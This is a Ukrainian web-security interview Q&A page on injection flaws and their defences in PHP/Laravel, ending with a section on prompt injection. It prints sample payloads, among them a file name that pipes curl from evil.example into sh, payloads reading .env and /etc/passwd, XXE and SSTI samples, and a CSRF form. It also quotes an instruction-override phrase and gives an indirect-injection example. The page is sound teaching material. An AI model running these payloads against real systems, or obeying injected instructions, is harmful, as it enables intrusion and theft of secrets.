Увійти Реєстрація
Блог Серії
Кар'єра
Вакансії Компанії
Навчання
Документація Співбесіди Тестування Відео
Екосистема
Пакети Ресурси Проєкти Інструменти Події
Інше
Про нас Реклама

Питання на співбесіді: Ін'єкції й XSS

Питання з реальних співбесід з відповідями: Laravel і PHP, бази даних, JavaScript і фронтенд, Git, Docker, API, безпека й архітектура. Тими самими темами, що й тести.

15 питань

XSS (Cross-Site Scripting) - вразливість, за якої нападник змушує сайт показати іншим користувачам свій JavaScript. Скрипт виконується в браузері жертви з правами вашого сайту: читає дані сторінки, робить запити від імені користувача, підміняє форми, краде токени з localStorage.

Три види:

  • Збережений (stored) - шкідливий код зберігається на сервері: коментар, ім'я профілю, опис товару. Спрацьовує в кожного, хто відкриє сторінку. Найнебезпечніший.
  • Відображений (reflected) - код приходить у параметрі запиту й одразу виводиться у відповіді: /search?q=<script>...</script>. Жертву треба змусити перейти за посиланням.
  • DOM-based - вразливість повністю в клієнтському JavaScript: скрипт бере дані з location.hash чи URL і вставляє через innerHTML, сервер навіть не бачить шкідливого вмісту.

Основний захист - екранування при виведенні відповідно до контексту:

{{ $comment->body }}      {{-- Blade екранує HTML автоматично --}}
{!! $comment->body !!}    {{-- небезпечно для даних користувача --}}

Додаткові рівні:

  • textContent замість innerHTML у JavaScript;
  • санітайзер (HTML Purifier, DOMPurify), якщо HTML від користувача справді потрібен;
  • Content Security Policy, що забороняє інлайнові скрипти;
  • cookie сесії з HttpOnly - XSS не зможе її прочитати (хоча робити запити від імені користувача все одно зможе).

Контексти мають значення: екранування для HTML не захищає значення в атрибуті href (javascript:alert(1)), усередині <script> чи CSS. Для кожного контексту - свої правила.

Докладніше в документації: OWASP: Cross Site Scripting

SQL-ін'єкція - коли дані від користувача потрапляють у текст SQL-запиту й змінюють його структуру.

// Вразливо
$sql = "SELECT * FROM users WHERE email = '" . $_GET['email'] . "'";
// email = ' OR '1'='1  →  WHERE email = '' OR '1'='1'  → усі користувачі

Наслідки - від читання чужих даних і обходу входу до видалення таблиць і, в окремих конфігураціях, виконання команд на сервері.

Захист - підготовлені запити (prepared statements): структура запиту й дані передаються в базу окремо. База спершу розбирає SQL із заповнювачами, а значення підставляє вже як дані - вони не можуть стати частиною синтаксису.

$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$email]);

User::where('email', $email)->first();   // Eloquent і Query Builder роблять те саме

Де помиляються навіть з ORM:

  • Сирі вирази з конкатенацією: whereRaw("email = '$email'"), DB::select("... $id"). Сирий SQL - лише з прив'язками: whereRaw('lower(email) = ?', [$email]).
  • Імена колонок і напрямок сортування не можна передати заповнювачем. orderBy($request->input('sort')) - звіряти з білим списком дозволених значень.
  • LIKE - заповнювач захищає від ін'єкції, але % і _ у введенні все одно працюють як шаблони; їх треба екранувати, якщо це важливо.

Додатково: користувач бази для застосунку з мінімальними правами (без DROP, без доступу до чужих баз) - щоб навіть успішна ін'єкція мала обмежені наслідки.

Докладніше в документації: OWASP: запобігання SQL-ін'єкціям

Ін'єкція команд - дані від користувача потрапляють у рядок, який виконує командна оболонка (shell). Оболонка інтерпретує спецсимволи (;, &&, |, `, $()), і зловмисник дописує власну команду.

// вразливо
$file = $request->input('file');
exec("convert uploads/{$file} -resize 200x200 thumbs/{$file}");
// file = "a.jpg; curl https://evil.example/s.sh | sh"

Наслідок - виконання довільних команд з правами вебсервера: читання .env, встановлення бекдору, доступ до бази.

Захист - у порядку пріоритету:

1. Не викликати shell, якщо є бібліотека. Замість convert - Intervention Image/Imagick, замість curl - HTTP-клієнт, замість zip - ZipArchive.

2. Передавати команду масивом аргументів - тоді оболонка не залучається взагалі, і спецсимволи не мають значення:

use Illuminate\Support\Facades\Process;

Process::run(['convert', "uploads/{$file}", '-resize', '200x200', "thumbs/{$file}"]);

Symfony Process і Laravel Process з масивом передають аргументи програмі напряму. Рядок (Process::run("convert ...")) знову йде через shell.

3. Якщо рядок неминучий - кожен аргумент через escapeshellarg():

exec('convert ' . escapeshellarg($path) . ' ...');

4. Білий список значень для всього, що можна обмежити (формат, розмір, назва операції), і перевірка, що шлях лежить у дозволеному каталозі.

Пастка - ін'єкція аргументів. Навіть без shell значення, що починається з -, програма сприйме як опцію: файл з назвою --output=/var/www/public/shell.php чи -o.... Захист - роздільник -- перед позиційними аргументами (якщо програма його підтримує) і перевірка формату значень.

Додатково:

  • функції exec, system, passthru, shell_exec і proc_open можна вимкнути в disable_functions, якщо застосунку вони не потрібні;
  • процес вебсервера - з мінімальними правами в системі;
  • назви завантажених файлів не використовувати в командах і шляхах - генерувати власні.

Докладніше в документації: OWASP: захист від ін'єкції команд ОС

Обхід шляху - назва файлу від користувача містить ../ і виводить за межі дозволеного каталогу:

// вразливо
Route::get('/download', function (Request $request) {
    return response()->download(storage_path('app/invoices/' . $request->query('file')));
});
// file=../../.env  →  storage/app/invoices/../../.env  →  .env застосунку

Так читають .env (ключі, паролі бази), конфігурацію, вихідний код, системні файли. У поєднанні із записом файлів (розпакування архівів, збереження за назвою від користувача) - перезапис коду й виконання команд.

Варіанти атаки, які наївна перевірка пропускає:

  • закодовані послідовності: %2e%2e%2f, подвійне кодування %252e;
  • зворотні слеші на Windows: ..\..\;
  • абсолютні шляхи: /etc/passwd;
  • Zip Slip: архів з файлом ../../public/shell.php - під час розпакування він опиниться поза цільовим каталогом.

Захист:

1. Не приймати шлях від користувача взагалі. Найкраще - ідентифікатор запису в базі, а шлях до файлу береться з бази:

Route::get('/invoices/{invoice}/download', function (Invoice $invoice) {
    Gate::authorize('view', $invoice);
    return Storage::disk('invoices')->download($invoice->path);
});

Заодно це вирішує й авторизацію: користувач отримує лише свій файл.

2. Якщо назва з запиту неминуча - лише ім'я файлу без каталогів і білий список символів:

$name = basename($request->query('file'));
abort_unless(preg_match('/^[a-z0-9_-]+\.pdf$/i', $name), 404);

3. Перевірка канонічного шляху:

$base = realpath(storage_path('app/invoices'));
$path = realpath($base . DIRECTORY_SEPARATOR . $name);
abort_unless($path !== false && str_starts_with($path, $base . DIRECTORY_SEPARATOR), 404);

4. Розпакування архівів - перевіряти кожен шлях усередині до запису.

Laravel Storage нормалізує шляхи й не дає вийти за корінь диска через ../ (Flysystem кидає виняток для шляхів за межами кореня). Але це не замінює перевірку прав: файл іншого користувача всередині того самого диска - вже не path traversal, а помилка авторизації.

Докладніше в документації: OWASP: Path Traversal

У HTTP і в заголовках листів рядки розділяються символами CR LF (\r\n). Якщо дані користувача потрапляють у заголовок без перевірки, зловмисник вставляє \r\n і додає власні заголовки або навіть тіло відповіді.

У відповідях HTTP:

// вразливо при «сирому» формуванні заголовків
header('Location: /profile?lang=' . $_GET['lang']);
// lang = "uk\r\nSet-Cookie: session=attacker"

Наслідки - встановлення cookie жертві (фіксація сесії), підробка заголовків, у крайньому разі «розщеплення відповіді» (response splitting) з власним HTML.

Сучасний PHP уже захищає функцію header(): вона відхиляє значення з переносом рядка і видає попередження. Symfony/Laravel Response теж не дозволяє переносів у заголовках. Тому в сучасних застосунках проблема виникає рідше, але трапляється:

  • у власних обгортках над сокетами, проксі, генерації сирих відповідей;
  • у логах: перенос рядка у введенні дозволяє дописати фальшивий рядок журналу (log injection) - заплутати розслідування інциденту.

У листах - класична ін'єкція заголовків пошти: форма зворотного зв'язку бере email відправника в заголовок:

email = "user@example.com\r\nBcc: spam1@example.com, spam2@example.com"

Сервер стає розсильником спаму від вашого домену - а домен потрапляє в чорні списки.

Захист:

  • валідувати значення, що йдуть у заголовки: email - правилом email, мова - білим списком;
  • використовувати бібліотеки, що формують заголовки самі: Laravel Mail (Symfony Mailer) кодує й перевіряє адреси й теми, не дозволяючи переносів;
  • відправник листа - ваша адреса, а email користувача - у Reply-To після валідації, а не в From;
  • логи у структурованому форматі (JSON) - переноси рядків екрануються автоматично;
  • ніколи не будувати заголовки конкатенацією з сирих даних - навіть у «внутрішніх» скриптах.

Загальний принцип ін'єкцій: щоразу, коли дані вставляються в текст, який інша система розбирає (SQL, shell, HTML, заголовки, логи), потрібне кодування під цей конкретний формат або API, що розділяє код і дані.

Докладніше в документації: OWASP: CRLF Injection

CSRF (Cross-Site Request Forgery) - чужий сайт змушує браузер користувача надіслати запит на ваш сайт. Браузер автоматично додає cookie вашого сайту, тож запит виглядає як справжній запит залогіненого користувача.

<!-- на evil.example -->
<form action="https://bank.example/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

Нападник не бачить відповіді, але дія виконується.

Захист 1 - CSRF-токен. Сервер кладе в сесію випадковий токен і вимагає його в кожному запиті, що змінює стан. Чужий сайт не може прочитати токен (same-origin policy), тож не може його підставити.

<form method="POST" action="/transfer">
    @csrf
</form>

Laravel перевіряє токен автоматично для всіх POST/PUT/PATCH/DELETE у групі web.

Захист 2 - атрибут cookie SameSite:

  • Lax (його ставить Laravel; браузери на Chromium застосовують його й до cookie без атрибута) - cookie не надсилається в міжсайтових POST-запитах, лише при звичайних переходах за посиланнями (GET).
  • Strict - не надсилається в жодних міжсайтових запитах.

Чому потрібні обидва: SameSite не захищає від запитів з піддоменів того самого сайту, а старі браузери його не підтримують. Токен - основний захист, SameSite - додатковий рівень.

Важливо: GET-запити не мають змінювати стан. GET /logout чи GET /delete?id=5 легко викликати картинкою на чужій сторінці.

API з токенами в заголовку Authorization (не в cookie) до CSRF не вразливі: браузер не додає такий заголовок автоматично.

Докладніше в документації: OWASP: запобігання CSRF

SSRF (Server-Side Request Forgery) - нападник змушує ваш сервер зробити запит туди, куди йому самому не дістатися: до внутрішніх сервісів, адмінок без авторизації, метаданих хмари.

Типові функції-мішені: імпорт аватара за URL, попередній перегляд посилання, вебхуки з адресою від користувача, конвертація HTML у PDF.

// Вразливо: адресу задає користувач
$image = Http::get($request->input('avatar_url'))->body();
// avatar_url = http://169.254.169.254/latest/meta-data/iam/security-credentials/
// → сервер віддасть тимчасові ключі хмари

Інші цілі: http://localhost:6379 (Redis без пароля), http://10.0.0.5:8080/admin, file:///etc/passwd у бібліотеках, що підтримують інші схеми.

Захист:

  • Білий список, якщо можливо: дозволені лише конкретні домени.
  • Лише http/https, жодних file:, gopher:, ftp:.
  • Перевірка IP після резолву DNS: відхиляти приватні діапазони (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), 127.0.0.0/8, 169.254.0.0/16, IPv6-аналоги. Перевіряти саме той IP, до якого піде з'єднання, - інакше обхід через DNS rebinding (домен спершу резолвиться в публічну адресу, а при з'єднанні - у внутрішню).
  • Редиректи: вимкнути або перевіряти кожен, бо https://evil.example може перенаправити на http://127.0.0.1.
  • Мережева ізоляція: вихідні запити через окремий проксі чи сервіс без доступу до внутрішньої мережі.
  • У хмарі - IMDSv2 на AWS (вимагає токен, який SSRF зазвичай не отримає).

Таймаути й ліміт розміру відповіді - теж обов'язкові, інакше функцію можна використати для навантаження на сервер.

Докладніше в документації: OWASP: запобігання SSRF

SSTI (server-side template injection) - дані користувача потрапляють у сам шаблон, а не в змінну, яку шаблон виводить. Рушій шаблонів компілює їх як код.

// вразливо: текст від користувача стає шаблоном
return Blade::render($request->input('greeting'), ['user' => $user]);
// greeting = "{{ system('cat .env') }}"  - або @php ... @endphp

Blade компілюється в PHP, тож SSTI в Blade - це виконання довільного PHP-коду на сервері.

Різниця, яку треба розуміти:

// безпечно: шаблон - ваш, дані - змінна, екранована {{ }}
return view('emails.welcome', ['greeting' => $request->input('greeting')]);

// небезпечно: дані користувача - частина шаблону
Blade::render($userTemplate, $data);

Де таке трапляється на практиці:

  • «шаблони листів, які редагує адміністратор» в адмінці - якщо адмінку зламано чи редакторів багато, це шлях до виконання коду на сервері;
  • конструктори сторінок і повідомлень для клієнтів (SaaS: «налаштуйте текст сповіщення з плейсхолдерами»);
  • генерація PDF чи документів з шаблонів, що зберігаються в базі;
  • Twig/Smarty/Mustache у сторонніх пакетах - кожен рушій має свої способи «вирватися» з пісочниці.

Як робити безпечно:

  • користувацьким шаблонам - лише заміна плейсхолдерів, а не повноцінний рушій:
$text = strtr($template, [
    '{name}' => e($user->name),
    '{order}' => e($order->number),
]);
  • якщо потрібна логіка (умови, цикли) - рушій з пісочницею і білим списком дозволених функцій (наприклад, Twig Sandbox), обмежений набір змінних, без доступу до об'єктів з методами;
  • Markdown замість HTML/Blade для контенту від користувачів - і рендер із санітизацією;
  • ніколи Blade::render, eval, create_function-подібних механізмів з даними ззовні.

Схоже на SSTI на клієнті: вираз {{ }} у даних, які Vue чи Angular компілюють як шаблон на сторінці (Vue змонтований на розмітку з користувацьким вмістом), - client-side template injection, що дає XSS.

Докладніше в документації: PortSwigger: Server-side template injection

XXE (XML External Entity) - атака через XML з визначенням зовнішньої сутності, яка вказує на файл чи URL. Парсер, що підставляє такі сутності, вставляє в документ вміст файлу сервера чи відповідь внутрішнього сервісу.

<?xml version="1.0"?>
<!DOCTYPE order [
  <!ENTITY secret SYSTEM "file:///var/www/app/.env">
]>
<order><comment>&secret;</comment></order>

Якщо застосунок потім показує чи зберігає comment - зловмисник отримує вміст .env. Варіанти - SSRF через http:// у сутності, «сліпий» XXE з передачею даних на зовнішній сервер, DoS «мільярдом сміхів» (експоненційно вкладені сутності).

Де трапляється XML: імпорт прайсів і фідів, SOAP-інтеграції, SAML (вхід через корпоративний SSO), формати Office (DOCX, XLSX - це zip з XML), SVG.

Сучасний PHP за замовчуванням безпечніший. З libxml 2.9 зовнішні сутності не підставляються, якщо їх не ввімкнути явно. Небезпечні - прапорці:

$doc = new DOMDocument();
$doc->loadXML($xml);                     // за замовчуванням сутності не розкриваються
$doc->loadXML($xml, LIBXML_NOENT);       // НЕБЕЗПЕЧНО: розкриває сутності, зокрема зовнішні
$doc->loadXML($xml, LIBXML_DTDLOAD);     // НЕБЕЗПЕЧНО: завантажує зовнішні DTD

Назва LIBXML_NOENT вводить в оману: «no entities» означає «замінити сутності їхнім вмістом», тобто ввімкнути підстановку. Його часто додають «щоб працювали &amp;-подібні сутності» - і відкривають XXE.

Функцію libxml_disable_entity_loader() оголошено застарілою в PHP 8.0 - вона більше не потрібна для захисту за замовчуванням.

Правила:

  • не використовувати LIBXML_NOENT і LIBXML_DTDLOAD з даними ззовні;
  • відхиляти документи з <!DOCTYPE>, якщо формату він не потрібен;
  • обмежувати розмір XML і глибину вкладеності;
  • бібліотеки для SAML і SOAP - актуальні версії: XXE в них - відомий клас вразливостей;
  • SVG від користувачів - окрема тема: окрім XXE під час обробки на сервері, SVG може містити скрипти (XSS при відкритті).

JSON замість XML, де це можливо, - менше поверхня атаки: у JSON немає сутностей і DTD.

Докладніше в документації: OWASP: запобігання XXE

У JavaScript об'єкти успадковують властивості від прототипу, і всі звичайні об'єкти мають спільний Object.prototype. Забруднення прототипу - зловмисник через дані змушує код записати властивість у сам прототип, і вона з'являється в усіх об'єктах застосунку.

Як це трапляється - рекурсивне злиття чи встановлення властивості за шляхом з даних користувача:

function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === 'object') {
      target[key] ??= {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));

({}).isAdmin;   // true - у кожного об'єкта

Ключ __proto__ вказує на прототип, тож запис іде в Object.prototype. Так само через constructor.prototype.

Наслідки:

  • обхід перевірок: if (user.isAdmin) для об'єкта, в якому поля немає, раптом дає true;
  • XSS у браузері: бібліотека читає налаштування з об'єкта опцій (options.innerHTML, options.src), а «забруднене» значення підставляється в DOM. Так атакують через параметри URL (?__proto__[x]=...) з бібліотеками, що розбирають рядок запиту у вкладені об'єкти;
  • виконання коду на сервері (Node.js): забруднені опції child_process, рушіїв шаблонів;
  • DoS - зламана логіка всього застосунку.

Захист:

  • блокувати небезпечні ключі при злитті й записі за шляхом: __proto__, constructor, prototype;
  • об'єкти без прототипу для словників з даних: Object.create(null);
  • Map замість звичайного об'єкта для довільних ключів;
  • валідація схемою (Zod) з «суворими» об'єктами - невідомі ключі відкидаються;
  • оновлювати бібліотеки злиття, розбору рядка запиту, глибокого копіювання - багато відомих CVE саме тут (lodash merge, qs, jQuery extend);
  • Object.freeze(Object.prototype) - радикальний захист, але може зламати сторонні бібліотеки.

Чим це стосується PHP-розробника: фронтенд Laravel-застосунку (Vue, React, Alpine) і Node-скрипти збирання/SSR - теж частина поверхні атаки; оновлення npm-залежностей важливе так само, як composer.

Докладніше в документації: PortSwigger: Prototype pollution

Завантаження файлів - один із найризикованіших механізмів: нападник контролює і вміст, і ім'я файлу.

Основні загрози:

  • Виконання коду: shell.php (або image.php.jpg при неправильно налаштованому сервері) у публічному каталозі - і нападник виконує довільний код.
  • Збережений XSS: SVG чи HTML-файл зі скриптом, відкритий з вашого домену.
  • Перезапис файлів через ім'я на кшталт ../../config/app.php.
  • Відмова в обслуговуванні: величезні файли, «zip-бомби», зображення з гігантською роздільною здатністю.

Захист:

  • Не довіряти імені й MIME-типу від клієнта. Генерувати власне ім'я (UUID) і визначати тип за вмістом. Розширення - з білого списку.
  • Зберігати поза веб-коренем або в об'єктному сховищі (S3), а віддавати через контролер чи підписаний URL.
  • Окремий домен для користувацьких файлів (usercontent.example) - тоді навіть шкідливий HTML не має доступу до cookie основного сайту.
  • Заборонити виконання в каталозі завантажень на рівні веб-сервера.
  • Обмежити розмір на всіх рівнях: веб-сервер, PHP (upload_max_filesize, post_max_size), валідація застосунку.
  • Перекодувати зображення (зменшити, пересохранити через GD/Imagick) - це прибирає вбудовані дані й метадані (EXIF з геолокацією).
  • Content-Disposition: attachment і X-Content-Type-Options: nosniff для файлів, які не мають відкриватися в браузері.
  • Антивірусна перевірка для файлів, які завантажуватимуть інші користувачі.
$request->validate([
    'avatar' => ['required', 'image', 'mimes:jpg,png,webp', 'max:2048', 'dimensions:max_width=4000,max_height=4000'],
]);

$path = $request->file('avatar')->store('avatars', 's3');   // ім'я генерує Laravel

SVG - окремий випадок: це XML зі скриптами. Його або забороняють, або санітизують, або віддають лише як attachment.

Докладніше в документації: OWASP: завантаження файлів

unserialize() у PHP відтворює не лише дані, а й об'єкти довільних класів з довільними значеннями властивостей. При цьому автоматично викликаються магічні методи: __wakeup(), __unserialize(), а згодом __destruct().

Якщо нападник контролює рядок для unserialize(), він може створити об'єкти класів, які вже є в застосунку чи його залежностях, з потрібними йому властивостями. Ланцюжок викликів магічних методів («POP chain») призводить до запису файлів, SQL-запитів чи виконання коду. Готові ланцюжки для популярних фреймворків і бібліотек відомі й зібрані в інструментах на кшталт PHPGGC.

// Вразливо
$cart = unserialize($_COOKIE['cart']);

Захист:

  • Не десеріалізувати дані від користувача. Для обміну даними - json_decode(): він створює лише масиви й stdClass, без виклику коду класів.
  • Якщо unserialize() неминучий - allowed_classes:
$data = unserialize($payload, ['allowed_classes' => false]);           // лише скаляри й масиви
$data = unserialize($payload, ['allowed_classes' => [Money::class]]);  // білий список
  • Підписувати серіалізовані дані, що проходять через клієнта (HMAC), і перевіряти підпис до десеріалізації.

Де це трапляється в Laravel-застосунках:

  • Laravel шифрує cookie й підписує завдання черги, тож напряму від користувача серіалізовані дані туди не потрапляють. Але витік APP_KEY дозволяє підробити зашифровані дані - і раніше це давало виконання коду через десеріалізацію. Тому витік ключа - критичний інцидент.
  • Кеш і сесії в Redis/Memcached серіалізуються: доступ нападника до кешу - теж шлях до цієї атаки. Laravel дозволяє обмежити класи, які можна десеріалізувати з кешу (serializable_classes у config/cache.php).
  • Phar-архіви: у старих версіях PHP файлові функції з шляхом phar:// десеріалізували метадані архіву. PHP 8.0 це прибрав.

Аналогічні проблеми мають pickle у Python, Java-серіалізація, YAML.load у Ruby.

Докладніше в документації: OWASP: десеріалізація

ReDoS (Regular expression Denial of Service) - регулярний вираз, який на спеціально підібраному рядку працює експоненційно довго. Один запит займає процесор на секунди чи хвилини; кілька - і сервер не відповідає.

Причина - катастрофічний бектрекінг. Більшість рушіїв регулярних виразів (PCRE у PHP, рушій JavaScript) при невдачі повертаються й пробують інші варіанти розбиття рядка. Вкладені квантифікатори дають експоненційну кількість варіантів:

^(a+)+$         на рядку "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
^(\w+\s?)*$     на довгому рядку слів із символом у кінці, що не підходить
^(a|aa)+$

Небезпечні ознаки: вкладений квантифікатор ((x+)+, (x*)*), перекриваючі альтернативи під квантифікатором ((a|a)*, (\w|\d)+), і рядок, який майже підходить, але ламається в кінці.

Де шукати в застосунку:

  • власні правила валідації (regex: у Laravel), перевірки email, URL, телефонів;
  • регулярні вирази з даних користувача (пошук за шаблоном) - найгірший варіант: зловмисник сам пише вираз;
  • розбір логів, парсери вмісту, підсвітка синтаксису.

Як поводиться PHP: PCRE має ліміти pcre.backtrack_limit і JIT-стек. При перевищенні preg_match повертає false (не 0!), а preg_last_error() - PREG_BACKTRACK_LIMIT_ERROR. Це рятує від нескінченного зависання, але:

  • до ліміту процесор усе одно працює;
  • код, що перевіряє if (! preg_match(...)), сприйме false як «не підходить» - і в деяких випадках це обхід валідації.

Захист:

  • переписувати вирази без неоднозначності: ^\w+(\s\w+)*$ замість ^(\w+\s?)*$, атомарні групи (?>...) і присвійні квантифікатори (a++), які забороняють повернення;
  • обмежувати довжину вводу перед регулярним виразом - найпростіший і дуже ефективний захист;
  • не приймати регулярні вирази від користувачів; якщо потрібно - рушій з лінійним часом (RE2) чи обмеження часу виконання;
  • перевіряти preg_last_error() і трактувати false як помилку;
  • готові валідатори (filter_var для email/URL, бібліотека libphonenumber) замість саморобних виразів;
  • статичні аналізатори (наприклад, правила Semgrep, safe-regex для JS) знаходять небезпечні шаблони.

Node.js особливо вразливий: однопотоковий цикл подій - один повільний регулярний вираз блокує обробку всіх запитів.

Докладніше в документації: OWASP: ReDoS

Оператор == у PHP перед порівнянням приводить типи. Правила складні, і на них будувалися обходи автентифікації й перевірок.

«Магічні» хеші. Два числові рядки порівнюються як числа. Рядок виду "0e" + цифри - число в експоненційному записі, тобто нуль:

"0e123456" == "0e987654";   // true: обидва дорівнюють 0
md5('240610708') == md5('QNKCDZO');   // true - обидва хеші починаються з 0e і далі лише цифри

Перевірка if ($providedHash == $storedHash) пропускає інший рядок з таким самим «нульовим» хешем. Так обходили перевірку токенів скидання пароля й підписів.

Інші пастки (поведінка PHP 8):

"1" == "01";        // true  - числові рядки
"10" == "1e1";      // true
100 == "1e2";       // true
null == false;      // true
[] == false;        // true
"0" == false;       // true

PHP 8 виправив найгірше: "abc" == 0 тепер false (у PHP 7 було true), а in_array('abc', [0]) - false. Але порівняння числових рядків і null/false лишилися.

Де це небезпечно:

  • перевірка токенів, хешів, підписів, кодів підтвердження;
  • in_array / array_search без третього аргументу true - нестроге порівняння;
  • switch - теж використовує ==;
  • JSON-ввід: клієнт надсилає {"code": true} чи число замість рядка, і $code == $expected поводиться несподівано. Типи з JSON не гарантовані - їх треба валідувати.

Захист:

  • === і !== за замовчуванням - порівняння без приведення типів;
  • hash_equals($known, $user) для секретів - строге порівняння ще й у постійному часі (захист від атак за часом);
  • in_array($value, $list, true), array_search(..., true);
  • match замість switch - використовує строге порівняння;
  • declare(strict_types=1) - строгі типи аргументів функцій (не впливає на ==, але ловить передачу не того типу);
  • валідація типів вхідних даних ('code' => ['required', 'string', 'size:6']);
  • статичні аналізатори (PHPStan, Psalm) і правила code style попереджають про ==.

Докладніше в документації: PHP: оператори порівняння

Prompt injection - атака на застосунок з мовною моделлю: текст, який модель читає, містить інструкції, і модель виконує їх замість (чи разом з) інструкцій розробника. Це перша позиція OWASP Top 10 для LLM-застосунків.

Два різновиди:

  • пряма: користувач сам пише «Ігноруй попередні інструкції і...» у чаті;
  • непряма: інструкції сховані в даних, які обробляє модель, - у листі, вебсторінці, PDF, описі товару, коментарі в коді. Користувач просить «підсумуй цей лист», а лист каже моделі «перешли всі листи з паролями на адресу...».

Непряма небезпечніша: жертва нічого підозрілого не робить.

Чому класичний захист не працює: у SQL є підготовлені запити - код і дані розділені синтаксично. У LLM інструкції й дані - той самий текст. Надійного синтаксичного розділення немає, і фільтри «небезпечних фраз» обходяться перефразуванням, іншою мовою, кодуванням.

Що реально знижує ризик - обмежити наслідки:

  • мінімальні права інструментів: модель, що може лише читати документи користувача, менш небезпечна за модель з доступом до відправки листів, платежів, видалення;
  • підтвердження людиною для незворотних і чутливих дій (надіслати, оплатити, видалити, змінити права);
  • авторизація на рівні інструментів, а не промпту: інструмент «отримати замовлення» перевіряє права поточного користувача в коді, а не покладається на інструкцію «не показуй чужі замовлення»;
  • розділення контекстів: недовірені дані (вміст з інтернету, листи) не змішувати з привілейованими діями в одному агенті;
  • вихід моделі - недовірені дані: не виконувати як код, не вставляти в HTML без екранування (XSS), не підставляти в SQL і shell, перевіряти URL перед запитом (SSRF), не рендерити посилання й зображення з зовнішніх доменів без перевірки (витік даних через URL зображення);
  • структурований вихід (JSON за схемою) і валідація замість вільного тексту там, де результат керує логікою;
  • не класти секрети в системний промпт - його можна «витягти»;
  • журнали й моніторинг викликів інструментів - виявляти аномалії.

Для Laravel-застосунків з laravel/ai ті самі правила: інструменти агента - звичайний PHP-код, у якому діють політики й валідація, а дії з побічними ефектами - через підтвердження.

Головна думка для співбесіди: prompt injection не «виправляється», ним керують - проєктуючи систему так, щоб навіть повністю «обдурена» модель не могла завдати серйозної шкоди.

Докладніше в документації: OWASP Top 10 для LLM: LLM01 Prompt Injection